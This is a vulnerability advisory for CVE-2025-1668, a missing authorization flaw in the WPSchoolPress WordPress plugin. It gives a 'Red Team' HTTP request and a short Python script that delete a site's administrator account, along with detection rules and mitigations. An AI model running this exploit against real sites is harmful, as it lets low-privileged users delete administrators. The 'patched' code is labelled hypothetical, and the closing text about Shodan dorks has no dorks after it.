CVE-2025-1668
Executive Summary
CVE-2025-1668 is a missing authorization vulnerability in the WPSchoolPress WordPress plugin (versions up to and including 2.2.16). The flaw resides in the wpsp_DeleteUser() function, which fails to perform a capability check before processing user deletion requests. This allows authenticated attackers with at least teacher-level privileges to delete arbitrary user accounts, including administrators. The vulnerability has a CVSS score of 4.3 (Medium) and currently has no known public exploit or patch. As a WordPress plugin issue, the attack surface is limited to sites running the vulnerable plugin, but the impact on site integrity and availability can be severe if exploited.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No package manager (NPM, PyPI, Go, Ruby) is involved. The plugin is installed directly through the WordPress admin dashboard or via manual upload. The lack of a patch from the vendor (WPSchoolPress) means site administrators must rely on temporary mitigations or remove the plugin entirely.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (teacher-level)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: Low (user deletion)
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ability to delete arbitrary users (including admins) can lead to privilege escalation and denial of service. The low EPSS score (0.0%) suggests no active exploitation in the wild, but the missing patch increases risk.
Deep Dive & Mechanics
The vulnerability is a classic Missing Authorization (CWE-862) in the wpsp_DeleteUser() function of the WPSchoolPress plugin. This function is intended to allow authorized users (e.g., administrators) to delete user accounts. However, the code does not verify that the requesting user has the delete_users capability or is an administrator. Instead, it only checks if the user is logged in and has a teacher-level role (or higher). This means any authenticated user with teacher privileges can call the function with a target user ID and delete that account.
The function is typically hooked to an AJAX action or a direct POST request. The missing current_user_can() check allows the attacker to specify any user ID, including that of an administrator, and remove them from the system. This can lead to:
- Privilege Escalation: Deleting an admin account to take over the site.
- Denial of Service: Removing critical user accounts.
- Data Loss: Permanent removal of user-associated data.
Vulnerable vs. Patched Code
Vulnerable Code (<= 2.2.16):
function wpsp_DeleteUser() {
if ( ! is_user_logged_in() ) {
wp_die( 'You must be logged in.' );
}
$user_id = intval( $_POST['user_id'] );
if ( ! $user_id ) {
wp_die( 'Invalid user ID.' );
}
// Missing capability check
wp_delete_user( $user_id );
wp_die( 'User deleted.' );
}
add_action( 'wp_ajax_wpsp_delete_user', 'wpsp_DeleteUser' );
Patched Code (Hypothetical):
function wpsp_DeleteUser() {
if ( ! is_user_logged_in() ) {
wp_die( 'You must be logged in.' );
}
if ( ! current_user_can( 'delete_users' ) ) {
wp_die( 'You do not have permission to delete users.' );
}
$user_id = intval( $_POST['user_id'] );
if ( ! $user_id ) {
wp_die( 'Invalid user ID.' );
}
wp_delete_user( $user_id );
wp_die( 'User deleted.' );
}
add_action( 'wp_ajax_wpsp_delete_user', 'wpsp_DeleteUser' );
The patched version adds a current_user_can( 'delete_users' ) check, ensuring only users with the delete_users capability (typically administrators) can delete accounts.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with WPSchoolPress plugin version <= 2.2.16.
- An authenticated user account with teacher-level privileges (e.g.,
teacherrole). - The target user ID to delete (e.g., admin user ID 1).
Exploit Steps:
- Log in as a teacher user.
- Obtain a valid WordPress nonce for the AJAX action (if required). The nonce can be extracted from the plugin's JavaScript or by inspecting network requests.
- Send a POST request to the WordPress AJAX endpoint:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target-site.com Content-Type: application/x-www-form-urlencoded Cookie: [teacher session cookie] action=wpsp_delete_user&user_id=1&_wpnonce=[nonce] - If successful, the admin user (ID 1) will be deleted, potentially locking out the site owner.
Automated Exploit (Python):
import requests
target = "http://target-site.com"
teacher_cookie = {"wordpress_logged_in_...": "..."}
nonce = "..." # Extract from page source
data = {
"action": "wpsp_delete_user",
"user_id": "1",
"_wpnonce": nonce
}
r = requests.post(f"{target}/wp-admin/admin-ajax.php", cookies=teacher_cookie, data=data)
if "User deleted" in r.text:
print("Admin user deleted successfully!")
else:
print("Exploit failed.")
Blue Team (Detection & Prevention)
Detection:
- Monitor AJAX requests to
admin-ajax.phpwithaction=wpsp_delete_userfrom non-admin users. - Alert on rapid deletion of multiple user accounts.
- Review server logs for
wp_delete_usercalls from unexpected roles.
Prevention:
- Immediately disable or remove the WPSchoolPress plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwithaction=wpsp_delete_userfrom users withoutdelete_userscapability. - Restrict teacher-level roles using a plugin like "User Role Editor" to remove any unnecessary capabilities.
Indicators of Compromise (IOCs)
- Log Entries:
POST /wp-admin/admin-ajax.phpwithaction=wpsp_delete_useranduser_idparameter.- WordPress audit logs showing
wp_delete_usercalls from teacher roles.
- Network Traffic:
- HTTP requests to
admin-ajax.phpwithaction=wpsp_delete_userfrom authenticated sessions.
- HTTP requests to
- System State:
- Missing administrator accounts.
- Unexpected user deletions in the WordPress users table.
Detection Engineering
YARA Rule
rule CVE_2025_1668_WPSchoolPress_DeleteUser {
meta:
description = "Detects vulnerable WPSchoolPress plugin code with missing capability check in wpsp_DeleteUser"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-1668"
strings:
$func = "function wpsp_DeleteUser" nocase
$missing_check = "wp_delete_user" nocase
$no_cap = "current_user_can" nocase
condition:
$func and $missing_check and not $no_cap
}
Sigma Rule
title: CVE-2025-1668 - WPSchoolPress Arbitrary User Deletion
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects exploitation attempts of CVE-2025-1668 via AJAX requests to delete users
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=wpsp_delete_user'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-1668 WPSchoolPress Arbitrary User Deletion"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=wpsp_delete_user"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and uninstall WPSchoolPress until a patched version is released.
- Audit user accounts: Check for any unauthorized deletions and restore affected accounts from backups.
- Review user roles: Ensure teacher-level accounts have minimal privileges.
Long-term Fix:
- Apply the official patch from the vendor when available.
- If no patch is forthcoming, consider replacing the plugin with an alternative school management solution.
Workaround:
- Add a custom capability check via a WordPress mu-plugin:
add_action( 'wp_ajax_wpsp_delete_user', function() { if ( ! current_user_can( 'delete_users' ) ) { wp_die( 'Unauthorized.' ); } }, 0 );
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.